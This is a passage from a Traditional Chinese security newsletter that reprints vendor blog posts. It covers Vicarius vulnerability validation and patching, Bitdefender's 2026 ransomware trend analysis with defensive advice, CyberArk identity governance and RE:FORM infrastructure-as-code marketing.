  • vRx 負責執行端：執行自動化補丁管理、腳本引擎、組態控制，並與 ITSM 系統（如 Jira, ServiceNow）的工作流深度整合。

這兩個產品的結合，為企業創造了一個完整的「閉環工作流」：

偵測發現 → 深度分析 → 真實驗證 → 修補處置 → 再次驗證 → 持續監控

關鍵在於，流程中的每一步都包含修補完成證明 (Proof of Closure)。在修補部署完成後，vIntelligence 會自動重啟驗證流程，確認該漏洞是真的「無法被利用」，而不僅僅是「補丁已安裝」。這為資安團隊與領導層提供了強而有力的可稽核證據，協助企業應對如 SEC 資安揭露準則、NIS2 與 DORA 等嚴格的法規遵循要求。

量化實績證明：

  • 81%：平均修復時間 (MTTR) 的分流處理效率提升。
  • 95%：成功過濾無效告警雜訊。
  • 4.3 小時：企業整體的平均漏洞修補時間。

vIntelligence 是為誰打造的？

vIntelligence 專為中大型企業（1,000 人以上規模）設計，特別是那些擁有「多品牌資安基礎設施」、「混合雲環境」以及「專職資安維運團隊」的組織。

這項方案對以下角色具有極高價值：

  • 資安維運團隊：被海量告警淹沒，亟需自動化過濾雜訊，將精力專注於真實威脅。
  • 漏洞管理團隊：擁有多種掃描工具，卻缺乏跨工具的數據標準化手段，無法有效判定優先順序。
  • 資安長與管理層：需要董事會等級的曝險報告、修補進度數據，以及具備法律效力的合規處置證明。
  • 受法規約束的組織：如金融業或受 SEC、DORA、網路保險規範約束的企業，需要持續監控與完整的修補紀錄。

關鍵策略：非破壞性的升級 (Not a Rip-and-replace)

值得強調的是，vIntelligence 並非要您汰換現有的 CrowdStrike、Qualys 或 Tenable 等工具，而是透過異質情資整合與標準化，將這些孤島工具的數據轉化為可執行的自動化修補工作流，讓您現有的資安投資發揮倍增效益。

產品核心價值比較表    

 產品功能  傳統工具挑戰  vIntelligence + vRx 解決方案
 數據處理  工具分散、數據打架，難以統一評分。  異質情資整合與標準化，產出單一視圖。
 漏洞驗證  僅能推測風險，造成 95% 誤報。  AI 代理驗證，實測可利用性，精準降噪。
 修補對接  掃描與修補斷節，需人工手動介入。  原生閉環自動化，從驗證到處置一氣呵成。
 合規證明  難以證明漏洞已確實「無法被攻擊」。 提供再次驗證數據，產出完整的處置證明。

 

市場競爭優勢分析：為什麼 vIntelligence 是唯一的全方位解法？  

目前的漏洞管理市場中雖然有許多老牌廠商，如 Tenable、Qualys、Rapid7，以及 AttackIQ、SafeBreach、Cymulate 等入侵與攻擊模擬（BAS）平台。然而，這些方案往往僅能解決部分問題，卻無法涵蓋完整的防禦生命週期：

  • 傳統漏洞管理工具：雖然擅長掃描與 CVSS 評分，但在兩次掃描的週期之間存在嚴重的「監控盲點」，且誤報率極高，更缺乏後續的自動化修補機制。
  • 入侵與攻擊模擬：主要用於驗證安全控制項的有效性，但並未將威脅情資整合進優先級排序中，也無法實現異質情資整合與標準化，且同樣無法閉環對接到修補端。
  • 滲透測試：僅能提供特定時間點的靜態快照，且過程高度依賴人工、速度慢、成本高，且覆蓋範圍極為有限。

vIntelligence 是目前市場上唯一將「持續性異質情資整合與標準化」、「AI 驅動漏洞利用驗證」以及「原生自動化修補」完美整合在單一平台上的解決方案。 

  • 技術護城河：擁有獨家的 AI 腳本自動生成技術與異質數據歸一化專利 IP。
  • 網絡效應每一位客戶的驗證回饋都在持續訓練我們的 AI 模型，不斷優化全球共用的驗證腳本庫與情資精準度。
  • 平台黏著度：透過深度的工作流整合，能有效取代 3 到 5 個破碎的單點工具，簡化維運架構。

主流方案比較表

比較維度 傳統漏洞掃描 (VM) 入侵與攻擊模擬 (BAS) Vicarius vIntelligence
精準度與雜訊 僅依賴理論評分，誤報率高。 基於固定場景模擬。 AI 實測驗證，消除 95% 誤報。
防禦即時性 週期性掃描，存在盲點。 定期模擬測試。 持續性監控，與威脅同步更新。
情資整合能力 封閉格式，數據難以對標。 缺乏異質情資整合。 異質情資整合與標準化。
修補閉環 僅發現問題，無處置能力。 僅測試防禦，無修補功能。 原生對接 vRx，實現自動化閉環。
合規價值 產出漏洞清單。 產出模擬報告。  提供可稽核的「修補完成證明」。

總結：讓防禦速度與威脅步調同步  

漏洞被攻擊者利用的速度是以「小時」計，但傳統資安工具的回應週期卻往往是以「週」計。這段顯著的時差正是資安事故的重災區，據統計，每次由 AI 驅動的數據外洩事故，平均會為企業帶來高達 570 萬美元的沉重損失。

vIntelligence 的出現，正是為了彌合這段致命的防禦落差。透過持續性的「異質情資整合與標準化」，結合 AI 代理驗證 技術確認漏洞的真實可利用性，並原生對接 vRx 執行自動化修補與產出修補完成證明，vIntelligence 將漏洞管理從被動的「救火分流」，正式轉型為主動且閉環的資安維運。

這並非一項要求您汰換現有資安投資的方案。相反地，它能讓您已部署的工具真正產生協作價值，使您的曝險管理策略能終於跟上當前威脅的演進速度。

 

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資訊悅報 Vol.38｜Bitdefender: 2026年美國勒索軟體趨勢洞察

部落格來源網址：Ransomware Attacks Against the US: 2026 Insights

2026 勒索軟體威脅趨勢解析

Bitdefender 分析了數十個針對美國組織發動攻擊的勒索軟體組織動向。透過這項分析，我們得以洞察 2026 年初浮現的威脅模式。以下內容將詳細闡述關鍵趨勢與發展，並分享 2026 年春季勒索軟體運作與攻擊模式演變的相關預測。

2026 年 1 月至 2 月頂尖勒索軟體組織

2026 年 1 月至 2 月期間，共有 53 個勒索軟體組織聲稱在美國取得受害者。其中有 7 個組織已連續超過四個月位居我們的前十大威脅名單。

這些頂尖勒索軟體組織包括 Qilin、Akira、Clop、INC Ransom、Play、DragonForce 以及 Sinobi。上述組織與前十大名單中的其他成員，以及眾多新興組織，攻擊對象橫跨美國各類機構，從中小企業到大型企業均在其列。

雖然分析結果記錄了 0APT 的受害者總計 185 名，但必須指出，由於該組織的遙測資料篩選機制不佳且過往有虛假聲明的紀錄，0APT 聲稱的許多受害者可能並非真實案例。因此，2026 年迄今為止，Qilin 極可能才是實質造成美國受害者數量最多的組織。

在剔除資料集中 0APT 所聲稱的大量（虛假）受害者數據後，Bitdefender 以高度信心研判，2026 年前兩個月遭受勒索軟體組織攻擊的美國企業數量，應介於 750 至 800 家之間。

威脅洞察 (2026 Q1) 關鍵風險評估 顧問建議防禦策略
頂尖組織高度集中化

無差別鎖定各型企業

數據真實性陷阱

 Qilin 等指標性組織具備高度穩定性與攻擊能量

從中小企業到大型企業皆為目標，無一倖免

攻擊組織（如 0APT）可能利用虛假聲明干擾資安決策判斷

 導入次世代行為預防 (AV)，針對勒索行為實施即時阻斷。

建立全域防護架構，確保各規模節點均具備防禦一致性。

應以實務威脅情資為準，優化端點偵測精度以降低誤判率。

勒索軟體鎖定的美國首要產業趨勢

比較美國受勒索軟體攻擊影響最嚴重的產業類型，營造業遭遇的攻擊次數居冠，製造業則緊隨其後。其餘產業如科技業、醫療保健業以及法律事務所或法律服務，仍持續位居前五名之列。

雖然上述產業在過去幾季持續成為攻擊目標，但值得注意的是，實際收到的贖金支付金額正在下降。

贖金支付減少的趨勢可歸因於多重因素。企業面臨越來越大的壓力，必須遵循維護資安保險所需的指引，並遵守其所屬產業的營運法規。另一個因素是私部門對事故應變與通報最佳實踐的意識提升，來自 CISA、FBI 和 NSA 等權威機構發布的建議指南也發揮了關鍵作用。

勒索軟體攻擊模式的現況發展

從 2025 年 12 月到 2026 年 2 月，Bitdefender 觀察到勒索軟體攻擊的多種模式。目前已識別出數項標誌著勒索組織運作轉型的顯著變化，這些變化具體體現在威脅份子的以下行為：

  • 改變初始攻擊路徑：選擇不同的攻擊向量以減少入侵時產生的偵測噪音。
  • 規模化供應鏈攻擊：專注於接管供應商鏈結以擴大攻擊效益。
  • 自動化縮短攻擊窗口：利用工具縮短漏洞概念驗證公開後的利用時間。
  • 深耕防禦規避技術：重新投入資源開發自帶漏洞驅動程式（BYOVD）策略。

首要路徑：控制雜訊並繞過 MFA

越來越多的勒索組織將焦點轉向「身分首位攻擊」。換句話說，他們優先考慮憑證竊取，而非漏洞利用等主動攻擊手段。威脅份子可以透過蒐集瀏覽器工作階段權杖（Session Tokens）等方法竊取憑證。採取此路徑而非暴力破解系統，能協助威脅份子規避系統的即時偵測。

企業應確保登入頁面上的 Cookie 和 OAuth 金鑰等權杖經過加密，並將其與經核准的註冊裝置綁定，藉此建立屏障以阻止威脅份子提取解密後的驗證輸入。其他確保工作階段數據安全的方法包括：嚴格限制 Cookie 與工作階段的生存壽命、限制閒置工作階段的被攻擊機會，以及要求下一個工作階段必須強制更換新 Cookie。

攻陷供應商並接管連鎖體系

遭竊取的憑證為大規模、高影響力的供應鏈攻擊開啟了大門。Bitdefender 觀察此類事件已超過一年。ShinyHunters 及其過往組織於 2025 年夏季引領了大規模供應鏈攻擊。目前更多勒索組織正隨之效法，入侵支援金融、醫療、製造等產業的技術組織，藉此打擊更廣泛的受害者網絡，攻擊目標通常鎖定身分驗證平台與 SaaS 服務。雖然導入 MFA 與執行補丁管理是提升資安韌性的基本步驟，但這些做法已不足以應對身分首位攻擊或持續縮短的漏洞利用窗口。

自動化並縮短漏洞利用窗口

威脅份子成功利用漏洞所需的時間已大幅縮短。多項報告指出，在漏洞概念驗證（PoC）釋出後的幾小時甚至更短時間內，即會出現攻擊嘗試。這與 2024 年觀察到的兩至三天窗口有顯著差異。威脅份子能利用 CyberStrukeAI 等自動化工具縮短此窗口。威脅份子透過生成式 AI 提供攻擊代碼參考資料（如 GitHub 儲存庫），接著進行設計、審閱與執行。這使威脅份子能快速對數百個目標完成漏洞利用，隨後進入人工操作階段執行外洩數據或加密行為。

利用 BYOVD 策略突破防禦防線

過去如 EDRSandblast、HRSword 與 EDRKillShifter 等工具雖然看似過時，但其核心目標始終一致：規避防禦。這項原則同樣適用於新一代的 EDR 殺手。自 2025 年第四季以來，威脅份子在規避或癱瘓（Blinding）EDR 與防毒軟體等防禦機制的手法上出現重大演進。BYOVD（自帶脆弱驅動程式）策略已成為攻擊中的關鍵組成，導致受害組織在應對或根除問題時面臨極限。BYOVD 攻擊利用合法的驅動程式漏洞來取得未經授權的核心層級權限。攻擊者可能將惡意驅動程式嵌入看似無害且具備合法簽章的軟體包中，或直接操控現有的驅動程式。

一旦啟動，這些脆弱的驅動程式能讓攻擊者繞過特徵碼偵測，並強制停止 EDR 解決方案產生的防護進程。雖然部分資安解決方案試圖透過掃描驅動程式黑名單來對抗 BYOVD，但存在一項普遍限制：內建於 Windows 服務中的驅動程式無法被封鎖。更令人憂慮的是，這種癱瘓 EDR 的能力目前已演進至「單一階段」即可釋放，而非 2025 年常見的需經過兩至三個階段才能執行加密。近幾個月，更多勒索組織開發出內建脆弱驅動程式的惡意軟體，這縮短了規避防禦與正式攻擊之間的空隙，使兩者在攻擊週期中更趨向同步發生。

勒索軟體趨勢預測

勒索軟體生態系與通行的行動準則將進一步擴張。提供 RaaS 平台存取權限的組織具備強大的生命力。

市場競爭將迫使部分組織修改或放棄初期的獲利分享體系與招募流程。許多勒索組織已在其軍火庫中加入非典型勒索軟體的工具。自 2025 年第二季起，既有與新興組織正展現更強的合作靈活性。

此外，近期觀察到勒索活動與駭客行動化（Hacktivism）結合的趨勢，甚至出現招募內部人員與網路雇傭兵的情況。未來專門的職能角色如初始存取經紀人（IABs）、滲透測試員與談判專家，其分工將更為細緻。

顧問建議：企業應維持威脅情資計畫，藉此掌握威脅份子的活動與 TTPs 攻擊戰術，並獲取修復行動指引。

此外，由於威脅份子極擅長偵察潛在目標與利用漏洞，實施主動式的外部攻擊面管理（EASM）至關重要。企業應持續更新資產清單並掃描未知資產，針對急需處理的漏洞排定優先順序。

勒索組織鎖定的初始入侵目標將擴大至更多系統。他們將針對 VPN 與防火牆等脆弱的邊際設備（Edge Devices）進行攻擊。雖然邊際設備被入侵的情況佔比極高，但虛擬化平台（Hypervisors）與雲端服務的受害案例也將上升。許多現代加密工具已針對 ESXi 主機上的虛擬機進行優化設計。

顧問建議：定期更新虛擬化服務並停用非必要服務以強化作業系統韌性。針對所有管理員登入（尤其是虛擬化管理主控台）強制執行 MFA。落實最小權限原則，確保無過度授權。建立經測試的復原計畫，並將備份存放於至少兩處與主環境隔離的地點。

雲端原生攻擊 (LOTC) 案例將持續上升

當大眾討論「寄生攻擊」（Living Off the Land, LOTL）集中在濫用 Windows 或 ESXi 原生程式時，許多用於雲端管理與安全防護的工具也正被威脅份子反過來利用，藉此封鎖或轉移敏感數據。這種雲端原生攻擊（Living Off the Cloud, LOTC）不應被忽視。雖然優化雲端平台的日誌紀錄有助於偵測異常，但單靠這項實務不足以完全阻斷 LOTC 攻擊。

顧問建議：識別並 縮小攻擊面 。 切勿過度依賴白名單機制，即便如 Box 等經核准的應用程式，或 AWS 雲端環境內建的管理功能，皆可能成為威脅份子的潛在目標。

採用對齊惡意情境的行為基準偵測技術，並參考攻擊劇本（Playbooks）與其他日誌來源數據，對於識別寄生攻擊（LOTL）至關重要。利用如 PHASR 等工具執行阻斷規則，能有效防止與勒索軟體劇本相符的惡意行為。這些策略可精確偵測並阻斷未經授權的存取、橫向移動與執行動作。

企業應落實更高階的安全實務，而非僅止於基礎的資安衛生。例如在實施存取控制時，應加入「雙重控制機制」，確保資安配置的變更或更新必須經過兩位指定管理員的授權方可執行。

BYOVD 趨勢預測：勒索軟體攻擊的盛行率將突破 75%

BYOVD（自帶脆弱驅動程式）在勒索軟體攻擊中的盛行率預計將達到 75% 以上。此趨勢將使癱瘓 EDR 偵測的能力更易於被取得，且利用 BYOVD 攻擊來停用 EDR 與防毒軟體，將成為首選的防禦規避手段。領先的勒索軟體組織已明顯展現對 BYOVD 的偏好，在其影響下，許多新興組織也正隨之仿效。對於防禦者而言，BYOVD 攻擊是極大的挑戰且將持續增加，特別是 RaaS 平台的經營者正不斷發布並行銷包含此類功能的新版套件。

額外顧問建議：

  • 持續掌握戰術演變：密切關注載入驅動程式的寄生攻擊（LOTL）戰術。
  • 動態評估解決方案：企業須不斷評估已部署的技術與資安方案。鑑於EDR Killers 與 BYOVD 攻擊的普及，企業絕不能盲目假設既有的端點安全方案具備充足的防護能力。
  • 維護情資同步：若解決方案具備驅動程式黑名單（Blocklisting）或監控功能，請務必確保其內部程式庫維持在最新狀態。
  • 實施驅動程式沙箱化：建立驅動程式沙箱化等安全實務，確保被標記的可疑驅動程式無法與關鍵作業系統組件產生互動。
Bitdefender 解決方案 防禦策略
內核級驅動程式監控 主動識別並封鎖異常加載的脆弱驅動程式，防止 EDR 防禦線被 BYOVD 手法癱瘓。
外部攻擊面管理 (EASM) 持續盤點包含 VPN 與防火牆在內的邊際設備，防止其成為勒索組織的初始入侵點。
虛擬化層自省技術 (HVI) 針對 ESXi 等虛擬化平台提供記憶體層級的保護，在不影響效能的前提下阻斷加密行為。
行為準則分析 (Behavioral Analytics) 偵測 Living Off the Cloud (LOTC) 的異常工具調用，彌補傳統日誌紀錄的偵測盲點。

作者：潔德·布朗
Jade Brown 是 Bitdefender 的威脅研究員，她運用自己在網路安全策略與情報分析方面的專業知識，深入研究網路防禦領域中的攻擊者及新興挑戰。

身為資安領域的思想領袖及普通話使用者，她同時具備中國研究與戰爭模擬方面的專業知識。Jade 的專長包括威脅偵測與模擬、勒索軟體集團調查，以及惡意軟體分析。
她的專業認證包括 EC-Council 的「認證道德駭客」（CEH），以及 GIAC 的「網路威脅情報」（GCTI）與「惡意軟體逆向工程」（GREM）認證。

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資訊悅報 Vol.37｜CyberArk: 權限審核耗時費力？透過 AI 自動化加速身分審核與合規舉證

部落格文章出處：https://www.cyberark.com/resources/all-blog-posts/the-future-of-identity-governance-fast-secure-and-scalable

身分治理的未來：更快速、更安全、可擴展

如果您一聽到身分治理和管理 (IGA) 就感到壓力沉重，您並不孤單。

隨著雲端服務普及與威脅環境日益複雜，數位身分與存取權限的管理難度正呈倍數成長。如今，多數組織在支撐合規性、生命週期管理與安全性這三大核心動能時，顯得力不從心。根據針對資訊安全長 (CISO) 的調查，目前的治理痛點主要集中在以下三點：

1. 權限審核 (UAR) 虛耗資源且合規門檻極高

權限審核已成為各產業的法遵剛需，但執行過程極其耗時。相關人員必須從海量數據中整理、比對並驗證權限是否合理，以滿足稽核員對「權限最小化」的要求。這並非單一團隊的工作，從法遵經理、應用程式負責人到各級主管，都必須投入大量精力。更嚴峻的是，80% 的資安長表示必須同時符合兩項以上的法規，甚至有 55% 的人需應付五項以上的規範，且 84% 預期未來三年的法遵壓力只會持續增加。

2. 帳號開通仍停留在緩慢的手動流程

確保員工或約聘人員在入職、調動或離職時獲得正確權限，對於企業營運至關重要，但現實中卻鮮少能快速達成。調查顯示，55% 的組織平均需耗時超過七天才能完成權限發放。這意味著新進人員在首週幾乎無法產出，造成管理層極大的挫折感。有時為了趕進度而過度授權，反而埋下更嚴重的資安隱憂。

3. 每七個存取權限中就有一個是不當授權

從過度授權到殭屍帳號，不當權限往往潛伏數月而不被察覺。平均而言，企業在進行權限審核時，高達 13.7% 的權限被判定為不當且須回收。換言之，每七個權限中就有一個是多餘的。在大型企業中，這代表每季都有數萬筆權限需要被處理，單靠人力幾乎是不可能的任務。

為什麼身份治理如此困難？

關鍵在於許多組織仍使用二十年前設計的舊式 IGA 系統。這些系統適合本地端環境，卻無法跟上現代 SaaS 應用的擴張速度：

1. 應用程式整合困難

82% 的組織在將新系統導入治理平台時遇到阻礙，導致治理覆蓋率偏低。

2. 流程自動化程度不足

高達 84% 的企業仍依賴手動方式進行審核與發放，僅 6% 的組織達成全自動化。

3. 角色定義（RBAC）混亂

只有 10% 的組織能成功維護有效的角色模型，因為中心化的管理團隊往往缺乏各業務部門的實際語境。

透過自動化翻轉身分治理

要解決權限激增的壓力，現代化 IGA 必須具備自動化核心，將人力負擔降低 80%：

  • 準備階段：自動清理數據並對齊 HR 資料庫，確保審核項目清晰易懂。
  • 審核階段：利用 AI 預審已獲核准的常規項目，大幅縮減主管需檢視的名單。
  • 回收階段：自動執行撤銷並產出閉環追蹤報告，縮短合規舉證時間。
  • 稽核就緒：預先打包完整的電子證據包，無需再讓稽核人員於系統中翻找資料。

這套以 AI 與自動化為核心的方法，已證明能有效協助企業在短時間內將治理規模擴展至數百個應用程式。

身分安全的最後一塊拼圖

根據 CyberArk 發布的《2025 年身分安全概覽》，近半數組織仍缺乏對雲端權限的完整可視化。

當然，現代身分識別管理架構 (IGA) 只是全面身分安全策略中不可或缺的一部分。 IGA 與身分和存取管理 (IAM) 以及特權存取管理 (PAM) 協同運作，有助於確保合規性，支援最小權限訪問，並符合零信任原則。 IGA 還能減少人工工作量，提高效率，並協助組織滿足監管要求，同時避免安全團隊過度勞累。

是時候停止為身分治理而焦慮，並利用人工智慧的力量，使身分治理與業務發展的速度保持一致了。

Deepak Taneja 是 Zilla Security 的共同創辦人兼 CyberArk 的身份治理總經理。

準備好更聰明地擴展規模了嗎？ 收聽 Deepak Taneja 在 Security Matters 播客上的訪談— 「新的身分危機：人工智慧時代的治理」 — 他在訪談中探討了人工智慧如何改變身分治理，以及這對在當今複雜的數位環境中工作的安全團隊意味著什麼。

 

 

資訊悅報 Vol.36｜REFORM DEPLOY: IaC 不只是自動化：企業該如何避免基礎架構失控？

部落格來源網址：What Is Infrastructure as Code? (+Best Tools in 2025)

你的企業是否正在考慮轉向混合雲或多雲策略？

如果是的話，你的方向是正確的。根據 Statista 的調查，在其受訪的企業中，有 73% 已在組織內部署混合雲，而這個比例預計在 2025 年仍將持續成長。

但真正的挑戰在這裡

企業目前同時在管理多個雲端平台，並使用超過 10 種以上的工具來維運基礎架構。試想一下，如果需要用人工方式來管理所有這些伺服器，將會是一場成本極高的惡夢。
這正是 Infrastructure as Code（IaC） 出現的原因。

在本指南中，你將會認識什麼是 Infrastructure as Code（IaC）、它如何運作，以及在 2025 年能夠協助簡化基礎架構管理的主流 IaC 工具。

什麼是基礎設施即代碼（IaC，Infrastructure as Code）?

  • 基礎設施即代碼（IaC，Infrastructure as Code）
    指的是：透過程式碼，而不是人工流程，來佈建與管理 IT 基礎架構。

你可以把它想像成撰寫一份「食譜」，自動處理所有基礎架構需求——從伺服器、資料庫，到安全設定與儲存空間。

  • 為什麼 IaC 與傳統方式不同

相較於容易產生人為錯誤的人工設定與配置，IaC 透過程式碼將這些流程自動化，而這些程式碼是可測試、可進行版本控管，且可重複使用的。

  • IaC 的關鍵影響

無論是要擴展基礎架構規模，或是進行雲端與混合雲遷移，IaC 都已成為改變遊戲規則的重要技術。

IaC 的真實影響：5 項關鍵優勢

還記得以前當老闆問你：「建立一個新的測試環境要多久？」你可能會回答：「大概要幾天吧？」
因為你必須手動複製各種設定。

但如果使用 IaC，你只需要執行一段腳本，去泡杯咖啡。
等你回來時，基礎架構就已經準備好了。

導入 IaC 的主要效益：

1. 速度與自動化（Speed & Automation）

  • 將部署時間從數小時縮短到數分鐘
  • 消除大量人工操作，讓工程師能專注於高價值、具創新性的工作

2. 一致性與標準化（Consistency & Standardization）

  • 確保不同環境之間的設定一致，降低設定漂移的風險
  • 特別適合多平台、多區域，以及經驗差異大的團隊

3. 可擴展性與彈性（Scalability & Flexibility）

  • 可依需求彈性調整基礎架構資源用量，且不需停機

4. 安全與合規（Security & Compliance）

  • 透過程式碼在一開始就強制套用安全政策，降低漏洞與稽核風險

5. 成本（Cost）

  • 許多企業因前期投入與上線成本而遲疑導入 IaC
  • 但長期來看，IaC 能持續優化資源使用、降低雲端費用，並減少整體營運負擔

2025年企業常用的3種工具

IaC 工具是可自動化佈建、管理和部署 IT 基礎設施的軟體。
使用 IaC 工具，您的企業可以標準化設定，並以最少的錯誤和最高的投資報酬率進行擴展。以下是 2025 年適合企業的 3 種熱門 IaC 工具。

1. Terraform

由 HashiCorp 推出的 Terraform 是一套開源的 Infrastructure as Code 工具，讓使用者能以一致、宣告式的方式定義與管理基礎架構。

優點：

  • 支援多雲環境
  • 擁有全球性的開源社群
  • 小型團隊可免費使用（大型組織可訂閱付費方案以取得進階協作與治理功能）

2. AWS CloudFormation

AWS CloudFormation 讓使用者能透過程式碼來建模、佈建與管理 AWS 資源。
透過範本定義基礎架構，CloudFormation 能提供一致且可重複的部署流程，非常適合以 AWS 為核心的企業。

優點：

  • 與 AWS 原生整合，可即時支援新服務
  • 支援設定漂移偵測（Drift Detection）
  • 內建範本驗證機制

限制：

  • AWS CloudFormation 無法管理其他雲端服務供應商。

3. Pulumi

Pulumi 是一套 Infrastructure as Code 平台，讓開發者能使用 Python、JavaScript、Go、C# 等程式語言來管理基礎架構。
這套工具讓團隊能以標準軟體開發方式來處理基礎架構管理。

優點：

  • 支援多種主流程式語言，而非自訂 DSL
  • 完整 IDE 支援（程式碼補全與錯誤檢查）
  • 自動化並行處理與狀態管理

Terraform、AWS CloudFormation、Pulumi 與更多工具皆可透過 RE:FORM 管理

如果你正在混合環境中管理基礎架構，並同時使用多套工具，例如使用 Terraform 管理核心基礎架構、用 AWS CloudFormation 管理 AWS 專屬服務那麼有一個關鍵需求：你需要一個統一的平台。RE:FORM 是一套整合式的基礎架構管理平台，能協助你節省時間與成本。

RE:FORM 如何簡化基礎架構管理

RE:FORM 透過單一集中式入口、簡單的拖拉式設定與視覺化流程，提升整體透明度。
無論你使用的是 Terraform、Pulumi、OpenTofu、Ansible 或其他類似工具，都可以：

  • 在同一個平台集中管理所有 IaC
  • 透過視覺化流程取得完整可視性
  • 強化設定漂移偵測與修復能力
  • 使用內建版本控管與快速回復機制，提升變更安全性
  • 透過角色型存取控管與稽核軌跡強化安全性
  • 額外提供可自訂的即時儀表板，追蹤並改善關鍵指標

IaC 與 DevOps 是否相同？
基礎設施即代碼對 DevOps 重要嗎？

IaC 和 DevOps 是一樣的嗎？IaC 對 DevOps 重不重要？

IaC 和 DevOps 是否相同？簡短答案是：不是。
然而，IaC 採用 DevOps 的方法論，而導入 IaC 也需要具備 DevOps 的思維。

IaC 之所以是 DevOps 成功的關鍵，在於它讓基礎架構管理能納入同一套工作流程。

為什麼 IaC 是 DevOps 的核心因素？

1. 自動化管線（Automated Pipeline）

IaC 讓基礎架構變更成為 CI/CD 管線的一部分，代表：

  • 每次部署都能自動完成環境佈建
  • 基礎架構變更能在進入正式環境前先進行測試
  • 部署流程具備可重複性與可靠性

2. 版本控管（Version Control）

將基礎架構視為程式碼後，團隊能在 Git 中追蹤每一次修改，並在發生問題時快速回復。
如果 CTO 或團隊主管想知道「誰在什麼時候改了什麼」，IaC 能清楚回答。

3. 打破組織隔閡（Break Down Silos）

IaC 讓開發與維運團隊共用同一套語言進行部署，簡化跨團隊協作，並提升對基礎架構品質的責任感。

4. 實際的商業影響（Real Business Impact）

無論是縮短復原時間、透過標準化與自動化降低風險，或有效提升可擴展性，導入 IaC 與平台工程都能帶來可衡量的商業效益。

透過 RE:FORM 加速您的基礎設施部署

RE:FORM 協助企業從頭到尾加速 DevOps 流程，優化應用與基礎架構交付。

  • 需要更高的生產力？
    RE:FORM 能標準化 DevOps 並自動化 CI/CD，讓原本 3 小時的部署流程縮短至約 25 分鐘。
  • 想降低成本？
    為什麼還要同時支付多套工具訂閱費，而不是使用 RE:FORM 作為集中式平台？
  • 擔心上線時間？
    RE:FORM 提供簡單的拖拉式整合能力，適合不同經驗層級的使用者。

無論你的團隊規模是 20 人還是 20,000 人，RE:FORM 都能提供高擴展性且安全的「平台工程」解決方案，在不增加人力、也不犧牲安全與治理的前提下，有效提升 DevOps 效率。

立即註冊 RE:FORM，以 5 倍更快的速度部署基礎設施並以更聰明的方式擴展。

常見問題
什麼是 IaC（Infrastructure as Code）？

基礎設施即程式碼是指透過程式碼而非手動程序和設定來配置和管理您的 IT 基礎設施的能力。
IaC（Infrastructure as Code）的例子有哪些？
基礎設施及代碼的例子包括 RE:FORM、Terraform 和 Puppet。

 

 

資訊悅報 Vol.35｜Vicarius: 從告警雜訊到風險決策：CTEM 為何成為新一代曝險管理基準

部落格來源網址：Implementing Continuous Threat & Exposure Management (CTEM) to Reduce Attack Surface

資安團隊正被大量告警、橫跨多環境的混合式架構，以及源源不絕的 CVE 所淹沒。解方並不是「更多掃描」，而是曝險管理（Exposure Management）一套持續運作、與業務目標對齊的管理計畫，目標在於可量化的曝險降低與長期、可持續的攻擊面縮減。
Gartner 針對這一轉變提出的模型是持續性威脅曝險管理（CTEM）： 一個由五個階段組成、可重複執行的循環，目的是讓組織持續聚焦真正威脅業務的風險。

什麼是持續性威脅曝險管理（CTEM）？有什麼不同之處？

曝險管理不只關注漏洞清單，而是將設定錯誤、具風險的身分與權限、SaaS 設定漂移（drift），以及實際連結攻擊入口與關鍵資產（crown-jewel assets）的攻擊路徑一併納入考量。

CTEM 則是將這種思維制度化，落實為一個持續循環的流程，包括：範圍界定（Scoping）、發現（Discovery）、優先排序（Prioritization）、驗證（Validation）與行動落地（Mobilization）。

Gartner 在其研究中清楚說明這五個步驟，強調  應該管理的是「威脅」，而不是一次次零散的事件。如需易於理解的摘要，Splunk 的 CTEM 說明涵蓋相同的五個階段，則以同樣的五個階段為基礎，進一步凸顯從「週期性防禦」轉向「持續性防禦」的必要性。

為什麼是現在？CTEM 的關鍵價值在於「從雜訊中找出真正訊號」

核心問題在於訊號與雜訊的比例（signal-to-noise）。

Cisco／Kenna 的研究顯示，只有約 5% 的漏洞實際上有高度機率被利用；大多數漏洞從未被武器化。這代表「全部都修」的清單，不但無法有效降低風險，反而浪費了寶貴的修補資源。(Cisco newsroom)

CTEM 的價值，在於將資源集中於那一小部分真正重要的曝險，讓曝險降低直接對應到實際風險的下降。

攻擊者通常不是隨機行動，而是透過少數幾條會彼此收斂的路徑來接近關鍵資產。CSO Online  指出，攻擊者在初始入侵後，只需四個步驟就能入侵 94% 的關鍵資產，這突顯了描繪並緩解攻擊路徑的重要性。

CPO Magazine 也指出，極少數曝險往往造成大多數實際風險，進一步強化 CTEM 聚焦「瓶頸點（choke points）」與攻擊面縮減的必要性。

最後，即使是看似「最明顯」的清單，也並非等值。SecurityWeek 指出，CISA KEV（已知遭利用漏洞）清單中的項目，其實際影響仍高度依賴組織的環境與情境，再次證明「優先排序」比單純依賴嚴重度分數更為重要。 (SecurityWeek)

CTEM 的五個階段

1. Scoping｜範圍界定

決定哪些資產真正重要，包括：關鍵應用系統、具高價值的資料儲存區、對外服務、身分 Tier-0，以及關鍵 SaaS。

良好的範圍界定，能確保曝險管理聚焦於業務成果，並為後續的攻擊面縮減建立明確基準。Gartner 的研究中，亦詳細說明如何系統性地進行範圍界定。（Gartner）。

2. Discovery｜發現

超越 CVE。
持續盤點雲端與 IaC 的設定錯誤、IAM 中的過度授權、未受管控的 SaaS，以及對外曝險。Splunk 的 CTEM 說明指出，橫跨整個環境的持續性發現是不可或缺的。 (Splunk)

3. Prioritization｜優先排序

不是每一個發現都同等重要。
透過可利用性（例如 EPSS）、環境情境、資產關鍵性與攻擊路徑分析，判斷哪些項目應優先修復。

Cisco／Kenna 的數據導向研究顯示，聚焦於「最可能被利用的那一小部分」，正是 CTEM 與實質攻擊面縮減的核心精神。（Cisco 新聞室 ）。

4. Validation｜驗證

驗證的目的，是確認曝險是否真的重要。
許多組織仰賴 BAS 平台、紫隊演練或滲透測試來模擬攻擊行為並驗證可利用性。雖然這些方法能提供洞察，但往往速度慢、資源消耗高，且只能涵蓋有限的系統範圍。
因此，這類方式難以在整個企業規模中持續運作，導致大量環境未被驗證，使「持續驗證」難以落實。

5. Mobilization｜行動落地

將決策轉化為實際行動：補丁部署、設定調整、網路分段、身分權限調整，以及替代性控制措施，並以明確的責任歸屬與 SLA 執行。

Gartner 強調，從零散修補轉向持續、跨部門的執行能力，正是 CTEM 的核心精神。(Gartner)

可對董事會說明的關鍵佐證

  • 降低資安事件發生機率：Gartner 預測，透過 CTEM 進行投資優先排序的組織，在 2026 年前發生重大資安事件的機率可降低三倍。
  • 聚焦關鍵 5%：Cisco／Kenna 的研究顯示，只有極少數漏洞具高度利用風險，曝險降低應集中於此。
